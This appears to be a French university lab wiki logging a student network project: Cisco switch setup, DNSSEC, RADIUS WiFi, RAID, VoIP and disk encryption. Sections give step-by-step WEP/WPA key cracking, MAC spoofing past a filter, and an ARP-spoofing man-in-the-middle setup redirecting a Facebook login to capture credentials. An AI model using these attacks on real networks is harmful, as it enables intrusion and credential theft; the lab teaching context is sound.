PRA2015 - Configuration des commutateurs : Différence entre versions

Version actuelle datée du 10 décembre 2015 à 11:05

Sommaire

1 Cahier des charges
- 1.1 Présentation du travail
- 1.2 Matériel utilisé
2 Progression

Cahier des charges

Présentation du travail

Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.

A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.

Architecture du réseau mis en place

Matériel utilisé

Commutateur Cisco 6009
Un ordinateur muni d'un port série pour la configuration

Progression

Semaine 1 - Prise en main

Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45. Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :

Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur

L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

Semaine 2 - Installation et configuration des OS

Installation des OS

On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.

Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.

console> enable
console (enable)> set interface sc0 192.168.0.1 255.255.255.0

A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.

console (enable)> format slot0:

On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.

console (enable)> copy tftp slot0:
console (enable)> 192.168.0.2
console (enable)> "emplacement du fichier"

A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.

Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.

A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :

BOOT=slot0:<CHEMIN DU FICHIER.bin>

Configuration des OS

La configuration réseau du routeur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface

conf t 
int Gi4/3
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi7/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Il faut ensuite créer les VLAN, par exemple :

conf t
vlan 13
name vlan13
exit

On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :

int Gi4/13
switchport access vlan 13
no shut
exit

Le schéma physique est le suivant :

VLAN11 : Gigabit 4/11
VLAN12 : Gigabit 4/12
VLAN13 : Gigabit 4/13
VLAN14 : Gigabit 4/14
VLAN15 : Gigabit 4/15
VLAN16 : Gigabit 4/16
VLAN17 : Gigabit 4/17
VLAN18 : Gigabit 4/18
VLAN19 : Gigabit 4/19
VLAN20 : Gigabit 4/20
VLAN 110 : Gigabit 4/1

Semaine 3

Nous avons commencé par créer une VM Xen sur le serveur Cordouan :

xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

Notre IP : 193.48.57.163
Masque : 255.255.255.240
Passerelle : 193.48.57.174

Nous avons ensuite crée 2 partitions LVM, home et var.

lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v
lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v

Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :

disk = [ 
          'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
          'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc

Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :

apt-get install apache2
apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :

PermitRootLogin yes

Semaine 4

Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.

Installation du serveur Apache et du certificat SSL

Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr

Les domaines certifiés sont michay.lol et www.michay.lol.

On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.

On poursuit ensuite en activant le module SSL d'Apache :

a2enmod ssl

Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :

<IfModule mod_ssl.c>
   Listen 443
   NameVirtualHost 193.48.57.163:443
</IfModule>

Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :

<VirtualHost *:443>                                                  **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****
 ServerName www.michay.lol                                           **** Domaine et Alias ****
 ServerAlias michay.lol
 DocumentRoot /var/www/www.michay.lol/                               **** Dossier contenant les fichiers du site ****
 CustomLog /var/log/apache2/secure_access.log combined               **** Localisation des logs ****
 SSLEngine on                                                        **** Activation du SSL ****
 SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt                **** Chargement du certificat signé par Gandi ****
 SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key           **** Clé privée correspondant au certificat combiné à la PEM ****
 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem      **** Clé publique émise par Gandi ****
 SSLVerifyClient None
</VirtualHost>

On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.

Certificat certifié par Gandi.

On peut notamment voir toute la chaîne de certification !

La chaîne de certification de notre certificat.

Mise en place du serveur DNS et de DNSSEC

Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :

Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.

zone db.michay.lol :

$TTL    604800
 
@       IN      SOA     ns.michay.lol. root.michay.lol. (
                    2015102001         ; Serial
                         86400         ; Refresh
                          3600         ; Retry
                       2419200         ; Expire
                         86400 )       ; Negative Cache TTL
 
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key
 
@       IN      NS      ns.michay.lol.
@       IN      NS      ns6.gandi.net.
ns      IN      A       193.48.57.163
www     IN      A       193.48.57.163
god     IN      A       193.48.57.163
ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
god     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
@       IN      A       193.48.57.163
@       IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535

et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL    604800
 
@       IN       SOA     ns.michay.lol. root.michay.lol.     (
       2015102001       ;serial
       14400            ;refresh
       3600             ;retry
       604800           ;expire
       10800            ;minimum
)
 
57.48.193.in-addr.arpa.                IN      NS      ns.michay.lol.
57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.
 
163               IN      PTR     michay.lol.

On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :

zone "michay.lol" {
       type master;
       file "/etc/bind/zones/db.michay.lol.signed";
       allow-transfer { 217.70.177.40; };
       notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
       type master;
       file "/etc/bind/zones/57.48.193.in-addr.arpa";
       allow-transfer { 217.70.177.40; };
};

Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :

allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
@ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire

On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.

Génération de la KSK :

dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol

Génération de la ZSK :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol

On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :

root@chimay:/etc/bind/michay.lol.dnssec# ls
total 24
drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .
drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..
-rw-r--r-- 1 root bind  603 Oct 20 13:48 michay.lol-ksk.key
-rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private
-rw-r--r-- 1 root bind  429 Oct 20 13:48 michay.lol-zsk.key
-rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private

On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :

$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").

Pour finir, on signe la zone avec la commande dnssec-signzone :

dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk

Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.

Après test (juste ici), on constate que la mise en place de DNSSEC est validée. Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).

Piratage des bornes wifi

Crackage WEP

Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.

airmon-ng start wlanX

wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :

airmon-ng check kill

L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:

airodump-ng wlan5mon

Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :

airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon

Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé. Dans le nouveau terminal, nous entrons :

aircrack-ng fichier*.cap

Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]

Crackage WPA

De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.

Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :

crunch 8 8 0123456789 -o dictionnaire.txt

On peut maintenant lancer le bruteforce avec la commande :

aircrack-ng file.cap -w dictionnaire.txt

La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme pyrit qui va utiliser le GPU de l'ordinateur. La commande est :

pyrit -r file.cap -i dictionnaire.txt attack_passthrough

Les résultats

Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.

crunch 8 8 012389 -o dictionnaire.txt

Utilisation d'aircrack

$ time aircrack-ng out-01.cap -w dic.txt
                                 Aircrack-ng 1.2 rc3


                   [00:01:36] 404340 keys tested (4197.19 k/s)


                           KEY FOUND! [ 12399903 ]
 

      Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 
                       40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 

      Transient Key  : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82 
                       7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE 
                       F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9 
                       BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94 

      EAPOL HMAC     : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B 

real	1m37.298s
user	12m55.440s
sys	0m0.112s

La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.

Utilisation de pyrit

$ time pyrit -r out-01.cap -i dic.txt attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'out-01.cap' (1/1)...
Parsed 30 packets (30 802.11-packets), got 1 AP(s)

Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.
Tried 440022 PMKs so far; 24749 PMKs per second.

The password is '12399903'.


real	0m21.305s
user	2m20.100s
sys	0m8.448s

La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.

Connexion à l'AP autorisé

On modifie le fichier /etc/network/interfaces

On commente #auto eth0

On configure wlan0 :

auto wlan0
iface wlan0 inet static
address 172.26.79.63
netmask 255.255.240.0
gateway 172.26.79.254
wireless-essid troubadour
wireless-mode managed

La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.

Connexion à l'AP filtré

On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.

On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:19:f3
ifconfig wlan0 up

On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !

Configuration des Points d'Accès WiFi

Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.

On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.

Dans un premier temps, nous avons configuré un serveur FreeRadius pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier /etc/freeradius/. On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :

myusername Cleartext-password := "myclearpassword"

On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :

client E304 {
        ipaddr = 10.10.10.1
        secret = anotherpassword
}

client VLAN13 {
        ipaddr = 172.20.13.0
        netmask = 24
        secret = anotherpassword
}

Il est important d'ajouter aussi un client pour la salle E306.

On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :

  eap {
    default_eap_type = peap
    peap {
      default_eap_type = mschapv2
    }
  }

On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :

conf t

aaa new-model
aaa authentication login eap_chimay group radius_chimay
radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword
aaa group server radius radius_chimay
server 193.48.57.163 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_CHIMAY
vlan 13
authentication open eap eap_chimay
authentication network-eap eap_chimay
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 13 mode ciphers aes-ccm tkip
ssid SSID_CHIMAY

exit

interface Dot11Radio0.13
encapsulation dot1Q 13
no ip route-cache
bridge-group 13
bridge-group 13 subscriber-loop-control
bridge-group 13 spanning-disabled
bridge-group 13 block-unknown-source
no bridge-group 13 source-learning
no bridge-group 13 unicast-flooding 

exit

interface GigabitEthernet0.13
encapsulation dot1Q 13
bridge-group 13

exit
 
exit

On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :

auto wlan0
iface wlan0 inet static
 address 172.20.13.12
 netmask 255.255.255.0
 gateway 172.20.13.254
 wpa-ssid SSID_CHIMAY
 wpa-key-mgmt WPA-EAP
 wpa-identity myusername
 wpa-password mycleanpassword

Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.

Sécurisation des données

Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :

lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v

Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :

'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',
'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',
'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',

Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 :

apt-get install mdadm

On crée le volume md0 :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

On vérifie que le volume est bien monté :

fdisk -l

Renvoie :

Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

Un mdam --detail nous montre plus de détails sur la partition :

root@chimay:~# mdadm --detail /dev/md0
/dev/md0:
       Version : 1.2
 Creation Time : Mon Nov 30 15:29:04 2015
    Raid Level : raid5
    Array Size : 2095104 (2046.34 MiB 2145.39 MB)
 Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
  Raid Devices : 3
 Total Devices : 3
   Persistence : Superblock is persistent
    Update Time : Mon Nov 30 15:29:04 2015
          State : clean
 Active Devices : 3
Working Devices : 3
 Failed Devices : 0
  Spare Devices : 0
        Layout : left-symmetric
    Chunk Size : 512K
          Name : chimay:0  (local to host chimay)
          UUID : 72cc8ab9:4063c466:b04894e4:2b38e399
        Events : 0
   Number   Major   Minor   RaidDevice State
      0     202       48        0      active sync   /dev/xvdd
      1     202       64        1      active sync   /dev/xvde
      2     202       80        2      active sync   /dev/xvdf

Configuration d'un PCBX

Installation et mise en place d'un serveur DHCP

On commence par installer le serveur DHCP sur l'eeePC :

apt-get install isc-dhcp-server

On modifie ensuite la configuration dans /etc/dhcp/dhcpd.conf, et on y ajoute cette définition du subnet :

subnet 172.20.13.0 netmask 255.255.255.0 {
  range 172.20.13.10 172.20.13.50;
  option routers 172.20.13.254;
}

On oublie pas de changer aussi :

option domain-name "michay.lol"
option name-server "ns.michay.lol","ns6.gandi.net"

Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :

Adresse IP obtenue via DHCP

Installation d'un serveur VoIP

On installe d'abord Asterisk :

apt-get install asterisk

Puis on ajoute dans /etc/asterisk/users.conf :

  [general]
  hasvoicemail = yes
  hassip = yes
  hasiax = yes
  callwaiting = yes
  callwaitingcallerid = yes
  transfer = yes
  canpark = yes
  cancallforward = yes
  callreturn = yes
  callgroup = 1
  pickupgroup = 1
  nat = yes
 
  [1001]
  type=peer
  host=dynamic
  dtmfmode=rfc2833
  disallow=all
  allow=ulaw
  fullname = booboon
  username = booboon
  secret=md5suchprotection
  context = work
 
  [1002]
  type=peer
  host=dynamic
  dtmfmode=rfc2833
  disallow=all
  allow=ulaw
  fullname = lordswag
  username = lordswag
  secret=md5muchsecure
  context = work

Puis dans /etc/asterisk/extensions.conf :

  [work]
  exten => _6XXX,1,Dial(SIP/${EXTEN},20)
  exten => _6XXX,2,Hangup()

Nous ne sommes pas parvenu à créer un compte dans l'application CSipClient, le serveur répond mais dit "forbidden", avec le bon mot de passe... Very Cool.

Attaque Man in the Middle

Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte. Le hack se fait de la manière suivante :

1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)
2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.
   Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.
3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.
4. Profit

Configuration de Squid

# Fichier /etc/squid3/squid.conf
acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off                              # Masque notre ip dans le header HTTP
http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 intercept                       # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard

Configuration de SquidGuard

Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.

# Fichier /etc/squidguard/squidGuard.conf
dbhome /usr/local/squidGuard/db                # Dossier parent de la base de données

dest fb-login {                                # Définition des urls/domaines à rediriger
    urllist     facebook/url
}

acl {
    default {
       pass !fb-login all                      # Laisser passer tout ce qui ne concerne pas Facebook
       redirect http://127.0.0.1/              # Rediriger le trafic vers notre serveur Apache local
    }
}

# Fichier /usr/local/squidGuard/db/facebook/url
fr-fr.facebook.com

Pour lancer le proxy, dans une console :

squidGuard -C all                              # Génération de la base de données (à faire à chaque modification des fichiers db)
squid3 -z                                      # Vérification de la configuration de Squid
service squid start
service squid status                           # Pour vérifier qu'il n'y a pas d'erreurs
vim /var/log/squidguard/squidGuard.log

S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :

chown -R proxy:proxy  /var/log/squid3 /var/lib/squidguard
chown -R proxy:proxy  /var/log/squidguard
chown -R proxy:proxy  /usr/local/squidGuard

Configuration iptables et redirection

Ici nous allons configurer la redirection du trafic.

echo 1 > /proc/sys/net/ipv4/ip_forward                                              # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                    # Bloque les ICMP 5 envoyés à la cible
iptables -t nat -A PREROUTING -s <ip serveur squid> -p tcp --dport 80 -j ACCEPT     # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129          # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid
iptables -t nat -A POSTROUTING -j MASQUERADE                                        # Masque l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                        # Bloque le trafic direct vers le port du serveur Squid

Voir le wiki de Squid pour plus d'informations.

Détournement du trafic

Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :

arpspoof -i <interface> -t <ip cible> <ip gateway>

On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.

Cryptage de données

Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de cryptsetup. Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :

fdisk -l

Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1 Nous pouvons maintenant créer une partition cryptée avec :

cryptsetup luksFormat -c aes -h sha256 /dev/sdb1

Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :

cryptsetup luksDump /dev/sdb1

Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :

cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mkfs.ext3 /dev/mapper/<nom_du_disque>

On peut maintenant monter la partition dans un dossier :

mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/

On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :

umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

Pour accéder à la carte SD :

cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
// Opérations ici
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>